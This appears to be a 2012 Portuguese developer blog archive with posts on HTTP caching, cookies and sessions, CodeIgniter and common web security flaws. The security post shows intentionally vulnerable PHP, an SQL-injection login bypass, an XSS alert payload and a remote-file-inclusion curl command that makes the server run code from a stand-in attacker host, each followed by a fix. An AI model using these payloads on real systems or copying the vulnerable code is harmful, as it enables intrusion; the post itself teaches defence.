Já tive contato com a e-Genial no curso de HTML5 e CSS3, que fiz no ano passado. A equipe é muito atenciosa, e material de ensino e instrutores são de ótima qualidade.

Acredito que eles possam melhorar o engajamento dos alunos, pois fora do ambiente do TreinaTom não há uma interação interessante (que vá além do fórum, algo que tenho presenciado no curso Welcome to the Django).

Resumindo: eu ví e gostei.

O cache e o HTTP

Mon, 14 May 2012 23:14:46 GMT

Em tempos de alta demanda, o cache pode tornar-se o melhor amigo das aplicações web. Através dele temos uma opção prática, acessível e barata para melhorar performance, diminuir consumo de recursos e tempos de resposta. Qualquer milissegundo economizado é um ponto a mais com o seu usuário, com os mecanismos de busca e com o seu serviço de hospedagem.

Antes de falarmos de cache em aplicações Django ou Codeigniter, acho interessante falarmos sobre o uso de cache com o protocolo HTTP. Afinal, é esta a primeira camada a “atacar” quando precisamos melhorar os tempos de resposta das nossas aplicações web.

O que é “caching”?

Segundo Kalid Azad:

Caching is a great example of the ubiquitous time-space tradeoff in programming. You can save time by using space to store results.

Basicamente, caching é o ato de “economizar processamento” armazenando os seus resultados. Um bom exemplo é o temporário do seu navegador, onde uma imagem que não teve alteração desde o momento do seu download é resgatada do seu disco e não da internet. Uma tarefa mais rápida e menos custosa.

Logo, entendemos que o cache é um local em disco ou memória utilizado para armazenar estes resultados. Ele pode se aplicar ao front-end (como ilustrado no exemplo acima), ou ao back-end, através dos servidores web, como o Apache e o Nginx, ou através de ferramentas mais específicas, como Memcached e Redis.

Assim como a definição de cookies e sessões, a utilização de cache nos navegadores Web é feita através de informações transmitidas pelo cabeçalho da requisição e resposta.

Existem quatro tipos de cabeçalhos específicos para cache em HTTP. Mas todos partem da premissa que o arquivo em questão (pode ser um documento, imagem, script, etc) já está armazenado no disco do internauta, acessível ao navegador.

Last-Modified

Com o Last-Modified, o navegador informa ao servidor que irá baixar um arquivo desde que a sua data de modificação seja diferente da data do arquivo armazenado. Na requisição é passado o cabeçalho If-Modified-Since, e se a data do arquivo no servidor for mais recente, o navegador faz um novo download.

Vamos fazer uma requisição tendo como resposta um cabeçalho Last-Modified:

$ curl -i -I http://klauslaube.com.br/media/blog/security.jpg

HTTP/1.1 200 OK
...
Date: Tue, 01 May 2012 19:20:27 GMT
Last-Modified: Sat, 07 Apr 2012 17:51:10 GMT
...

Uma vez que o arquivo esteja em disco, o navegador tem como informar a data da última alteração. Então, fazemos uma nova requisição ao arquivo security.jpg, passando esta data no cabeçalho If-Modified-Since:

$ curl -i -H "If-Modified-Since: Sat, 07 Apr 2012 17:51:10 GMT" http://klauslaube.com.br/media/blog/security.jpg

HTTP/1.1 304 Not Modified
Date: Tue, 01 May 2012 19:22:00 GMT
Last-Modified: Sat, 07 Apr 2012 17:51:10 GMT

A resposta 304 Not Modified não traz o conteúdo do arquivo em seu corpo, e é através desta resposta que o navegador sabe que não precisa fazer o download do arquivo, utilizando assim a versão que está em seu cache.

ETag

O modo como a ETag funciona é bem parecido com o conceito do Last-Modified. A diferença está no método de comparação: ao invés de fazer comparações pela data, são realizadas comparações através de identificadores únicos, atribuídos aos arquivos envolvidos nas requisições.

Quando trabalhamos com ETag, obtemos respostas com o seguinte cabeçalho:

$ curl -i -I http://localhost/exemplo-cache.html

HTTP/1.1 200 OK
...
Date: Tue, 01 May 2012 19:46:18 GMT
ETag: "2c6b0d8-13-4befe555d6f80"
...

É através do valor 2c6b0d8-13-4befe555d6f80 que navegador e servidor saberão se aquele arquivo em questão já está armazenado em cache. Isso é possível através do cabeçalho If-None-Match, enviado pelo navegador na requisição:

$ curl -i -I -H "If-None-Match: \"2c6b0d8-13-4befe555d6f80\"" http://localhost/exemplo-cache.html

HTTP/1.1 304 Not Modified
Date: Tue, 01 May 2012 19:50:40 GMT
ETag: "2c6b0d8-13-4befe555d6f80"

Uma vez que o valor bata com o identificador do arquivo, o servidor informa ao navegador que não houve alterações. Então, o navegador utiliza a versão do arquivo que está no temporário.

Expires

A grande desvantagem dos dois métodos acima é que necessitamos consultar o servidor para verificar a procedência do arquivo. Com o Expires e max-age a “data de validade” vem junto com a requisição, logo, o navegador já sabe quando o arquivo em seu cache irá expirar, e só voltará a consultar o servidor quando este tempo for alcançado.

Com o Expires, o servidor retorna no cabeçalho da resposta uma data de validade para um determinado arquivo:

$ curl -i -I http://klauslaube.com.br/media/blog/cookies.jpg

HTTP/1.1 200 OK
Date: Tue, 08 May 2012 01:49:13 GMT
...
Expires: Thu, 31 Dec 2037 23:55:55 GMT
...

Solicitando uma nova requisição para este mesmo arquivo, o navegador analisará a data local e a data de expiração. Se a data atual for maior que Expires, aí sim o navegador se comunicará com o servidor web, e fará um novo download do arquivo.

max-age

Embora o max-age possa parecer um pouco enigmático, ele é (na minha opinião) uma solução mais elegante e fácil de implementar que o Expires.

Com o Expires, temos que informar uma data “absoluta” no cabeçalho, ou seja, somos obrigados a dizer o dia da semana, mês, ano, hora, minuto e até mesmo segundo em que determinado arquivo irá expirar. Logo, temos o trabalho de interpretar a data da requisição (seja no servidor ou na aplicação) adicionando o tempo que desejamos de cache e imprimindo este valor por extenso.

Com o max-age temos a opção de utilizar datas “relativas”, ou seja, podemos dizer ao navegador que o arquivo irá expirar em 1 dia (em segundos):

$ curl -i http://localhost/exemplo-cache.html

HTTP/1.1 200 OK
Date: Mon, 14 May 2012 17:04:29 GMT
...
Cache-Control: max-age=86400, must-revalidate
...

Como você já deve ter reparado, não existe um índice de cabeçalho específico chamado max-age. Ele é na verdade um valor do índice Cache-Control.

O valor must-revalidate solicita aos mecanismos de cache (você pode estar “atrás” de um proxy) o seguinte: Quando o arquivo ultrapassar o max-age, o user-agent deve revalidar o conteúdo junto ao servidor Web. Embora esse seja o comportamento esperado por estes mecanismos, tornar esta informação explícita pode garantir que ferramentas mais “obscuras” sigam este comportamento.

Um pouco sobre o Cache-Control

O Cache-Control foi adicionado na especificação do HTTP 1.1 com a finalidade de contornar as limitações do Expires, e também de melhorar o controle sobre o cache de determinado conteúdo por diferentes tipos de mecanismos.

Além do uso do max-age, é através do Cache-Control que podemos especificar o comportamento de cache para o navegador (private), para algum proxy, servidores intermediários ou requisições HTTPS (public), ou ainda informarmos que não queremos fazer caching do conteúdo (no-cache).

Qual forma utilizar?

A resposta é: depende do cenário.

Para servir arquivos estáticos, a Webfaction utiliza os cabeçalhos Last-Modified, Expires e max-age, atribuindo aos dois últimos valores absurdos de cache (por exemplo, datas de expiração para o ano de 2037). Isso garante que o seu navegador, proxy ou gateway “nunca esqueça” de uma determina imagem, folha de estilos ou arquivo Javascript.

Mesmo com o uso do max-age, é interessante ter o Expires como alternativa, caso o navegador do internauta não compreenda instruções de Cache-Control. Já a utilização do Last-Modified, segundo o Ask Apache, não é lá muito interessante pois a sua utilização faz com que alguns navegadores ignorem o cabeçalho Expires. Um argumento mais relevante é a eliminação de procedimentos de validação (como o If-Modified-Since e If-None-Match), deixando a cargo apenas do Expires e max-age determinar o tempo de vida do estático em cache.

Em páginas dinâmicas, onde um cache de 5 ou 10 minutos possa ser aplicado, o max-age com Expires é fundamental. Já em páginas que necessitam de um conteúdo em tempo real, ou páginas que utilizam informações de cookies ou sessões, a ausência de cache é justificável.

Em documentos HTML onde o conteúdo é atualizado com uma frequência indeterminada, o uso de Last-Modified ou ETag é mais apropriado. Uma vez que fica difícil determinar quando a atualização irá ocorrer, é uma boa estratégia fazer com que o navegador atualize o conteúdo do seu cache quando necessário.

Considerações Finais

Embora seja um conteúdo bem introdutório, acho fundamental sabermos as diferentes maneiras de aplicar cache com o protocolo HTTP antes de partirmos para soluções específicas. Essas recomendações não são infalíveis, e em um cenário mais “extremo”, necessitam sim de auxílio de algumas ferramentas disponíveis no mercado para tornar o cache eficiente tanto para a experiência do usuário, quanto para a estabilidade dos seus serviços.

Embora eu tenha utilizado o navegador Web como foco das explicações, “robôs”, ferramentas de proxy e gateways também podem fazer controle de cache. O comportamento é basicamente o mesmo, variando de acordo com instruções passadas no cabeçalho Cache-Control.

Como não sou nenhum “expert” no assunto, se você possui alguma sugestão ou correção sobre o uso de cache com HTTP, por favor, conte-nos através dos comentários abaixo.

Até a próxima…

Referências

Problemas comuns de segurança em aplicações Web

Sun, 15 Apr 2012 18:03:48 GMT

Seria perfeito se o mundo fosse feito apenas de pessoas bem-intencionadas. Acontece que é mais fácil os alienígenas exterminarem a raça humana, do que o homem deixar de tirar proveito de alguma situação.

Quando estamos desenvolvendo nossas aplicações web, temos que “pensar” como um usuário mal-intencionado. Não somente para garantir o bom funcionamento da mesma, mas também para garantir a segurança e bem-estar dos “usuários civis” que consomem os nossos serviços.

Vamos explorar alguns problemas relacionados a segurança, e mostrar como solucioná-los de forma simples e prática.

Use frameworks!

E esta é a minha primeira dica para você: use frameworks sempre que possível!

Eles já possuem um conjunto de ferramentas que contornam problemas como SQL Injection, XSS e CSRF. Pessoas muito inteligentes já pensaram no problema e já solucionaram para você. Na maioria dos casos, mais de uma vez!

Em alguns frameworks, como o Django e Codeigniter, essas ferramentas são quase “transparentes”, ou seja, você tem pouco (ou nenhum) trabalho para utilizá-las no cotidiano.

Já trabalhei por muito tempo com “desenvolvimento from scratch”, e hoje posso apontar vários pontos de falhas em aplicações que produzi no passado. Os frameworks diminuem muito estes pontos, por isso vale a pena o seu uso.

Validações (nunca confie no usuário)

Como eu comecei com o PHP, sei muito bem que este é um problema comum em aplicações desenvolvidas por iniciantes.

Nunca confie no usuário, e principalmente nunca confie em validações realizadas pelo Javascript. Todo ponto de entrada de informação deve possuir uma validação no server-side, mesmo que exista uma validação no client-side. Lembre-se: Existem navegadores que não utilizam Javascript, e mesmo os que utilizam, permitem que o usuário desabilite esta função.

No Django, podemos fazer validações de formulários através de Forms. No Codeigniter fazemos através da Form Validation Class. Em PHP “puro”, podemos fazer validações através da biblioteca Validate.

As ferramentas citadas acima são extremamente eficientes para ações realizadas via POST. Mas e quando temos parâmetros vindos da URL, através do método GET, qual é a melhor maneira de agirmos?

URLs seguras e amigáveis

Há um bom tempo que as “URLs amigáveis” deixaram de ser um diferencial nas aplicações web e tornaram-se item obrigatório. Além de trazer o benefício do SEO, elas podem ser uma grande aliada quando o assunto é segurança.

URLs que antes eram feitas dessa maneira:

/blog.php?year=2012&month=12&day=21

Podem ser reproduzidas desta forma:

/blog/2012/12/21/

O mecanismo de rotas de alguns frameworks permite a utilização de expressões regulares na construção do caminho. Por exemplo, em Django temos o seguinte cenário:

# urls.py

urlpatterns = patterns('',
    ...
    (r'^blog/(?P<year>\d{4})/(?P<month>[0-9]{2})/(?P<day>\d{2})/$', 'blog.views.index'),
    ...
)

Determinamos que a rota inicia-se por blog, sendo composta por um valor numérico de 4 dígitos que atende pelo identificador year, outro valor de dois dígitos, indo de 0 a 9, chamado month, e o último um valor numérico de 2 dígitos chamado day.

A verificação é feita no momento da requisição. Se a rota informada bater com o padrão criado, ele executa a view blog.views. Caso contrário, se a rota não bater com nenhum padrão informado (por exemplo, /blog/2012/aa/21/), o usuário tomará um erro 404.

Em nossa view, resgataríamos esses valores da seguinte forma:

# blog/views.py

def index(request, year, month, day):
    # Lógica de renderização...

Simples assim! Temos um “input” de informação através de GET, onde temos certeza do seu tipo e tamanho.

O mesmo resultado pode ser obtido com o Codeigniter, basta adicionar a expressão desejada em seu application/config/routes.php:

# application/config/routes.php

$route['blog/(\d{4})/([0-9]{2})/(\d{2})'] = "blog/index/$1/$2/$3";

Aos invés de utilizarmos identificadores, utilizamos a ordem dos grupos criados na expressão regular.

Você não precisa utilizar um framework para ter um esquema de rotas como ilustrado acima. Um resultado parecido pode ser atingido através do Nginx e do Apache com mod-rewrite. Veja um exemplo de uso apresentado numa thread do Stack Overflow.

É claro que verificações mais complexas, como por exemplo, se o nome do usuário informado na URL é válido, necessitam de regras específicas, muito provavelmente escritas dentro da view. Um ponto de falha que vale ressaltar é a criação de expressões regulares “genéricas”, que não discriminam o tipo e tamanho dos valores informados.

Verificação de tipos de dados

Mas e quando não temos como fugir de um valor passado via GET? Pode acontecer! Por exemplo, em paginações (onde normalmente passamos um valor page como parâmetro), ou em uma busca (onde passamos o valor pesquisado via GET).

Nesse caso, “forçamos” o tipo do dado informado, e diminuímos problemas de interpretação do nosso código:

<?php

$page = isset($_GET['page']) && preg_match('/^\d+$/', $_GET['page']) ? $_GET['page'] : 1;

?>

A solução acima não é infalível, mas é uma maneira de diminuírmos a incidência de erros. Se um valor diferente de inteiro positivo for passado, a página a ser exibida será a primeira.

XSS – Cross-Site Scripting (não confie na informação)

É certo que, validando toda e qualquer informação que a sua aplicação receber, você diminuirá muito a ocorrência de problemas. Mas, mesmo confiando no tipo e nas dimensões da informação, não podemos confiar no seu conteúdo.

Imagine que você possua um blog. Só você pode escrever artigos nele, então você conhece o conteúdo da informação sendo produzida. Certo dia você resolve que os usuários poderão comentar no seu blog, e desenvolve uma ferramenta de comentários com todas as validações citadas anteriormente.

Até que em certo momento, um usuário mal-intencionado escreve um comentário no seu post, e neste comentário existe um script Javascript que explora uma falha de segurança do ActiveX (por exemplo). Logo, todos os leitores que utilizam Internet Explorer e leram o seu post são infectados por um malware que o seu blog ajudou a proliferar.

A injeção de um script em um website, através de campos de textos ou passagem de parâmetros, é caracterizado como um ataque de Cross-Site Scripting (ou XSS).

Uma maneira muito comum de evitar esse tipo de problema é simplesmente “escapando” ou removendo elementos HTML do conteúdo:

<?php
# xss.php

$var = $_GET['var'];

echo htmlspecialchars($var);

?>

Acessar xss.php com um alert Javascript como parâmetro, não executará o comando, e sim apenas exibirá o conteúdo na tela, com os caracteres que delimitam o elemento script devidamente formatados:

http://localhost/xss.php?var=&lt;script&gt;alert("XSS!");&lt;/script&gt;

Existem alguns Rich Text Editors que verificam e formatam o conteúdo do campo antes de uma submissão. Mas lembre-se! Editores WYSIWYG são basicamente Javascript, logo, se eu desabilitar o Javascript do meu navegador, posso enviar scripts maliciosos sem impeditivo nenhum, por isso, é sempre necessário fazermos esse tipo de validação no server-side.

O Codeigniter, com a opção $config['global_xss_filtering’] como TRUE, filtra automaticamente os dados resgatados de GET ou POST. O que acho bacana desse filtro, é que ele previne apenas a injeção de scripts e atributos que podem de alguma forma prejudicar na segurança da sua aplicação, não necessariamente formatando o conteúdo todo.

Este tratamento está ativo por padrão no engine de templates do Django. Embora isso não impeça o armazenamento do script no banco de dados, impede que a sua renderização afete os usuários da sua aplicação.

Uma outra forma muito bacana de prevenir este tipo de inconveniente é utilizando uma linguagem de marcação alternativa, como Textile e Markdown, em campos de textos abertos.

SQL Injection (não confie em sua aplicação)

Entre as vulnerabilidades citadas, acredito que o SQL Injection é uma das mais destrutivas, tanto para a sua aplicação, quanto para os seus usuários.

Segundo o Wikipedia:

É um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entrada de dados de uma aplicação.

Os resultados podem ser os mais desastrosos, como por exemplo, o acesso de usuários não autorizados a áreas restritas, e o roubo de informações da sua base de dados. Abaixo, uma autenticação simples, utilizando nome de usuário e senha:

<?php
# sql-injection.php

if (isset($_POST['usuario']) && isset($_POST['senha'])) {
    $usuario    = $_POST['usuario'];
    $senha      = $_POST['senha'];

    // Abre conexão com o banco de dados
    $link = mysql_connect('localhost', 'root', '');
    // Seleciona a base de dados
    mysql_select_db('exemplos_blog');

    // Faz a consulta ao banco, comparando usuário e senha
    $query = "SELECT 1 FROM usuario WHERE usuario = '{$usuario}' "
        . "AND senha = '{$senha}'";
    $result = mysql_query($query) or die("Query inválida: "
        . mysql_error() . "\n");

    mysql_close($link);

    if (mysql_num_rows($result)) {
        // Vai para a página logada
        echo 'Login com sucesso';
    } else {
        // Errou o usuário e senha, volta para a página de login
        echo 'Usuário e senha inválidos';
    }
} else {
    // Vai para a página de login
}

?>

Levando em consideração que temos um usuário com nome teste e senha teste, se executarmos a instrução abaixo, será exibida uma mensagem de login inválido:

$ curl --data "usuario=foo&senha=bar" http://localhost/sql-injection.php

Usuário e senha inválidos

Evidente! Este usuário não existe no banco de dados. Mas, podemos imaginar que a aplicação não possua proteção contra injeções SQL, então podemos fazer com que a consulta retorne positivo, e que nosso acesso seja garantido mesmo não possuindo um usuário no banco de dados.

$ curl --data "usuario=foo&senha=bar' OR '1' = '1" http://localhost/sql-injection.php

Login com sucesso

A nossa query, por não fazermos um tratamento nos campos do formulário, foi composta pelo valor bar’ OR '1’ = ’1, o que resultou no seguinte SQL:

SELECT 1 FROM usuario
WHERE usuario = 'foo' AND senha = 'bar' OR '1' = '1'

Existem algumas soluções para este problema, como o uso de addslashes no PHP, mas os que fazem mais sentido para mim são:

O uso da função mysql_real_escape_string para formatar dados antes de construir a query;
O uso da classe mysqli para consultas a bancos de dados MySQL, ao invés do uso das funções mysql.

A primeira é a mais prática de aplicarmos. No código anterior, bastaria formatar os valores na hora que são resgatados do array $_POST:

$usuario    = mysql_real_escape_string($_POST['usuario']);
$senha      = mysql_real_escape_string($_POST['senha']);

Com o mysqli, precisamos fazer algumas alterações no código, como demonstrado abaixo:

<?php
    # sql-injection.php (com mysqli)

    if (isset($_POST['usuario']) && isset($_POST['senha'])) {
        $usuario    = $_POST['usuario'];
        $senha      = $_POST['senha'];

        // Abre conexão com o banco de dados
        $mysqli = new mysqli('localhost', 'root', '', 'exemplos_blog');
        // Faz a consulta ao banco, comparando usuário e senha
        $query = $mysqli->prepare("SELECT 1 FROM usuario WHERE usuario = ? "
            . "AND senha = ?");
        $query->bind_param('ss', $usuario, $senha);
        $query->execute();
        $query->store_result();

        $num_rows = $query->num_rows;

        $query->close();

        if ($num_rows) {
            // Vai para a página logada
            echo 'Login com sucesso';
        } else {
            // Errou o usuário e senha, volta para a página de login
            echo 'Usuário e senha inválidos';
        }
    } else {
        // Vai para a página de login
    }
?>

Mas como o mundo não é feito só de MySQL, se ocorrer de você utilizar um outro banco de dados, eu recomendo o uso da biblioteca PDO.

Como o Django utiliza ORM, e o Codeigniter tem a Active Record Class, nesses frameworks essa validação é feita no momento que interagimos com os seus models. Mas é sempre bom ter cuidado! Principalmente quando o ORM não atende o nosso requisito, e temos que partir para consultas SQL puras.

Senhas criptografadas

Uma boa dica é, sempre que persistirmos um usuário em nossa base de dados, armazenarmos a sua senha criptografada em um formato “sem volta” (conhecido como hash). Além de ser um princípio ético, que na minha opinião todo o desenvolver de aplicações deveria ter, garantimos que mesmo que a nossa aplicação seja invadida, as senhas dos usuários estarão “seguras”.

Embora o MD5 e o SHA1 sejam as escolhas mais populares, os desenvolvedores do Django recomendam o uso de algoritmos mais sofisticados, como o PBKDF2, por acreditarem que o poder computacional atingiu um nível, que senhas MD5 e SHA1 podem com considerável esforço ser quebradas.

PHP Injection (não confie no PHP)

Embora esta técnica possa acontecer em outras linguagens, o PHP dá muita margem para desenvolvedores menos experientes deixarem brechas para uma vulnerabilidade conhecida como PHP Injection.

Com o site dividido em seções, é comum termos inclusões de arquivos PHP para compor uma página. Para economizar esforço e linhas de código, deixamos as partes como menu e topo “estáticas”, e só alteramos o conteúdo do bloco principal da página. Acontece que em alguns casos, o desenvolvedor espera que um determinado arquivo seja importado de acordo com a URL que o internauta está visitando. Por exemplo:

<?php
# php-injection.php

$page = $_GET['page'];

include('topo.php');
include('menu.php');

include($page);

?>

Logo:

$ curl http://localhost/php-injection.php?page=novidades.php

No caso acima, estamos incluindo o arquivo novidades.php e automaticamente exibindo o seu conteúdo. Podemos navegar por outras áreas do website, por exemplo, page=contato.php ou page=institucional.php. Mas, e se informarmos page=php-injection.php?

Caímos num looping infinito!

E, infelizmente, esse é o menor dos nossos problemas. O PHP, quando configurado com a opção allow_url_include como TRUE, é capaz de importar arquivos de outros hosts. Logo, o atacante pode ter um script malicioso hospedado em seu servidor, e passar o caminho dele para a aplicação acima. A aplicação incluirá e interpretará o PHP que estiver neste script:

$ curl http://localhost/php-injection.php?page=http://sitedoatacante.com.br/meu-script-malicioso.php.txt

Pronto! Temos código PHP de outra pessoa executando em nosso servidor.

Para resolver este problema, configure a opção allow_url_include em seu php.ini como FALSE. Outro passo importante é, sempre que for importar algum arquivo que dependa de informações vindas do usuário, verifique o conteúdo desta informação. Exemplo:

switch($page) {
    case 'novidades':
        include('novidades.php');
        break;
    case 'contato':
        include('contato.php');
        break;
    case 'institucional':
        include('institucional.php');
        break;
    default:
        include('404.php');
}

Este ataque não é tão incomum quanto deveria. Fique atento.

CSRF – Cross-site request forgery (não confie na requisição)

O Cross-site request forgery ou falsificação de solicitação entre sites, é uma forma de ataque que mescla a Engenharia Social com vulnerabilidades das aplicações web.

O ataque pode ser feito da seguinte forma:

Você recebe um e-mail com uma URL oculta (geralmente algum e-mail do tipo “Veja as minhas fotos” (: )
Esta URL executa alguma ação em uma aplicação que você esteja autenticado no momento (por exemplo, o Facebook)
Esta ação pode, tanto dar poderes de acesso ao atacante, quanto alterar ou remover os seus dados permanentemente

Note que o primeiro item pode ser substituído por algum conteúdo link injetado via XSS em algum fórum ou área de comentários de um blog.

Embora o exemplo acima não represente tanta ameaça, existem vários tipos de aplicações que este tipo de técnica pode afetar. O exemplo do banco, encontrado no site The Open Web Application Security Project, é um excelente exempo de ataque CSRF.

Para prevenir este tipo de problema, podemos fazer um controle através de sessões e transmitir um token que identifique que a requisição foi de fato feita pelo usuário. Kinn Coelho Julião escreveu um post interessante para o PHP-SP, demonstrando como prevenir ataques CSRF através de token.

De fato, tanto o Django quanto o Codeigniter utilizam essa tática para prevenir ataques CSRF. No Django, com o middleware django.middleware.csrf.CsrfViewMiddleware, basta adicionar a chamada da templatetag ao formulário:

<form method="post" action=".">
    {% csrf_token %}
    ...
</form>

A templatetag acima criará um campo oculto no formulário chamado csrfmiddlewaretoken. Quando um POST for realizado para a view em questão, caso o conteúdo de csrfmiddlewaretoken vindo do formulário não “bata” com o conteúdo armazenado em sessão, o Django entende que aquela requisição não foi feita de maneira “natural” (ou seja, acessando o formulário e submetendo-o). Logo, fica subentendido que aquela requisição veio de outra origem, e o framework não executa as instruções da view (retornando um código 403).

No Codeigniter, com a opção $config['csrf_protection’] como TRUE no arquivo application/config/config.php, o framework adicionará automaticamente o campo de proteção CSRF na abertura do formulário:

<?php form_open(); ?>

Considerações finais

Ficou um post grande, mas acredito que consegui cobrir os problemas de segurança mais conhecidos em aplicações Web. Como é possível notar, são vulnerabilidades que são facilmente contornáveis, mas que podem trazer sérios problemas para você e seus usuários caso a sua aplicação não esteja segura o bastante.

Reforço: Se você tiver a oportunidade de utilizar um framework, utilize! Eles possuem soluções prontas e bem testadas para prevenir os problemas citados acima, e outros tantos que surgem a cada dia na internet.

Referências

Entendendo os Cookies e Sessões

Thu, 05 Apr 2012 16:53:12 GMT

Por muito tempo eu abstrai o conceito de cookies e sessões, e nunca cheguei a prestar muita atenção no seu funcionamento. Recentemente, trabalhando com uma infra mais preocupada com a segurança, disponibilidade e performance, tive a oportunidade de relembrar e me aprofundar em alguns conceitos e práticas.

O que já sabia é que os cookies são “persistências temporárias” feitas no lado do usuário, e sessões são persistências dependentes de cookies, mas realizadas no lado do servidor.

A minha felicidade é que até aí, nada mudou :)

Para que servem Cookies e Sessões?

O protocolo HTTP é stateless, ou seja, ele não mantém um estado/conexão. Toda a interação que o seu cliente fizer com um servidor web acarretará em uma nova requisição e resposta.

As requisições são independentes e possuem um tempo de vida (conexão, envio de mensagem, resposta, encerramento da conexão). O servidor web não é capaz de identificar se duas requisições vieram de um mesmo navegador, e o mesmo não faz nenhum gerenciamento em memória para que mensagens sejam compartilhadas entre requisições.

É para suprir esta necessidade que entram os cookies e sessões.

Cookies

Através de cookies o servidor web é capaz de trocar informações de estado com o navegador do usuário. Desse modo, somos capazes de adicionar produtos a um carrinho de compras, sem perder estas informações ao mudar de página, sair do website ou até mesmo fechar o navegador.

Tecnicamente falando, um cookie é uma pequena quantidade de informação persistida temporariamente pelo navegador. Os navegadores normalmente limitam o tamanho dos cookies em até 4KB, e apagam cookies com a data de “validade vencida”.

Para entender como essa troca de informação é feita, vamos criar um cookie com o PHP:

<?php
    // cookies.php

    if (isset($_COOKIE['cookie_teste'])) {
        echo 'Você JÁ passou por aqui!';
    } else {
        echo 'Você NUNCA passou por aqui.';
        setcookie('cookie_teste', 'Algum valor...', time() + 3600);
    }
?>

O código acima verifica se o cookie atendendo pelo identificador cookie_teste já existe, caso não exista, cria um cookie com identificador cookie_teste, valor Algum valor... e com 1 hora de vida (a hora atual mais 3600 segundos).

Quando visitamos pela primeira vez o cookies.php, temos a seguinte resposta:

$ curl -I localhost/cookies.php

HTTP/1.1 200 OK
Date: Wed, 04 Apr 2012 00:35:33 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8r DAV/2 PHP/5.3.8
X-Powered-By: PHP/5.3.8
Set-Cookie: cookie_teste=Algum+valor...; expires=Wed, 04-Apr-2012 01:35:33 GMT
Content-Type: text/html

Através da função setcookie do PHP, estamos enviando um item chamado Set-Cookie no cabeçalho HTTP da resposta. É através deste que o navegador entende que deve armazenar o valor Algum valor…, atendendo pelo identificador cookie_teste, e que esta informação expira em 1 hora (verifique a data da requisição e a data de validade do cookie).

Na próxima vez que o navegador acessar esta URL, ele verificará se possui algum cookie para aquele domínio e path, caso exista, ele passa as informações do cookie no cabeçalho da requisição. Desse modo, a nossa aplicação é capaz de perceber a existência de um cookie (no caso do PHP, através do array global $_COOKIE).

Abaixo, um exemplo de requisição utilizando o Google Chrome:

Item cookie no cabeçalho de resposta da requisição HTTP

Clique para ampliar

Se excluirmos os cookies, ou o tempo de expiração for atingido, o navegador deixa de anexar esta informação ao cabeçalho da requisição.

Sessões

As sessões têm um princípio similar aos cookies, só que o armazenamento do estado é feito pelo servidor web, e não pelo navegador.

Por exemplo, quando construímos uma aplicação que necessita de autenticação, no momento em que o usuário efetuar o login, podemos até permitir que algumas informações sejam armazenadas em um cookie, mas dados mais “sensíveis”, como usuário e e-mail, são mais interessantes de serem guardadas em sessões. Isto, pois não é seguro que esse tipo de informação fique “viajando” pela web.

Mas se o HTTP é stateless, e o servidor web não tem como identificar que a requisição anterior veio do meu browser, como é que ele sabe que as informações que eu guardei em sessão são de fato minhas? Simples… através de cookies!

Quando iniciamos uma sessão, é enviado um cookie para o navegador, com um valor único que corresponde a sessão aberta no servidor web. Vamos ilustrar através do exemplo abaixo:

<?php
    // sessions.php

    session_start();

    if (isset($_SESSION['usuario'])) {
        echo "Bem vindo {$_SESSION['usuario']}!";
    } else {
        echo 'Você NUNCA passou por aqui.';
        $_SESSION['usuario'] = 'João';
    }
?>

O código acima inicia uma sessão através do método session_start. Na primeira visita, será criado um índice usuario com o valor João. A resposta da nossa requisição será a seguinte:

$ curl -I localhost/sessions.php

HTTP/1.1 200 OK
Date: Wed, 04 Apr 2012 01:51:57 GMT
Server: Apache/2.2.21 (Unix) mod_ssl/2.2.21 OpenSSL/0.9.8r DAV/2 PHP/5.3.8
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=4h91dkp7pcp8184nil8rt9ok13; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html

Por partes:

Como mencionei, Set-Cookie foi retornado com um identificador (PHPSESSID) e um valor que corresponde a sessão aberta no servidor (4h91dkp7pcp8184nil8rt9ok13). O complemento path está “dizendo” ao navegador que aquele cookie tem validade por todo o domínio (ou seja, valerá inclusive para outros arquivos PHP em outras subpastas). Quando não é informada a data de expiração, o navegador manterá o cookie até o momento em que ele for fechado.
O PHP tomou a liberdade de adicionar alguns cabeçalhos de controle de cache (Expires, Cache-Control e Pragma) à nossa resposta. Em resumo, o servidor está dizendo ao navegador para que não armazene esta página em cache. Estes valores podem ser alterados em tempo de desenvolvimento, ou através do php.ini.
Em nenhum momento o Apache informou ao navegador que temos um índice usuario com o valor João. Estas informações estão disponíveis somente no lado do servidor.

Quando visitarmos o sessions.php novamente, o navegador informará ao servidor que ele possui um cookie chamado PHPSESSID. A partir daí o PHP pega o valor deste cookie, recupera a sessão da memória (ou de um banco de dados, ou arquivos em disco) e atribui este valor ao array global $_SESSION.

O nome do cookie varia de linguagem para linguagem e até mesmo de framework para framework. Por exemplo, no Django ele é chamado por padrão de sessionid, no CodeIgniter é chamado de ci_session.

Considerações finais

Gostei muito de me aprofundar um pouquinho mais neste assunto, e gostei mais ainda de poder traduzir este aprendizado através deste post.

É claro que há alguns cuidados com segurança quando o assunto é cookies e sessões, bem como considerações em relação ao uso de cache. Pretendo falar mais sobre esses temas em posts vindouros.

Até a próxima…

Referências

PHP ágil e divertido com CodeIgniter

Mon, 05 Mar 2012 10:06:57 GMT

Após experimentar alguns frameworks PHP, recentemente tenho aplicado bastante tempo no estudo do CodeIgniter, e tive o prazer de redescobrir a diversão em programar nessa linguagem um tanto controversa.

Logo de cara, quero recomendar o screencast da Nettus+ chamado CodeIgniter From Scratch. Um excelente material para aprender (e se aperfeiçoar) a desenvolver aplicações web com PHP.

PHP e MVC

Não há mistérios na forma como o CodeIgniter trabalha com o MVC, utilizando o “MVC clássico”, com as rotas baseadas nos nomes do controlador e das actions, modelos com ORM através da ActiveRecord, e views utilizando a linguagem natural do PHP para gerar a visualização das suas páginas.

E este último, acredito ser uma das grandes vantagens do PHP com MVC. Escrever views com PHP é muito mais “natural” do que em qualquer outra linguagem (claro, se você entende de PHP). Não é necessário aprender nenhuma “linguagem de template”, como em alguns frameworks, pois é normal escrever o PHP “mesclado” ao HTML.

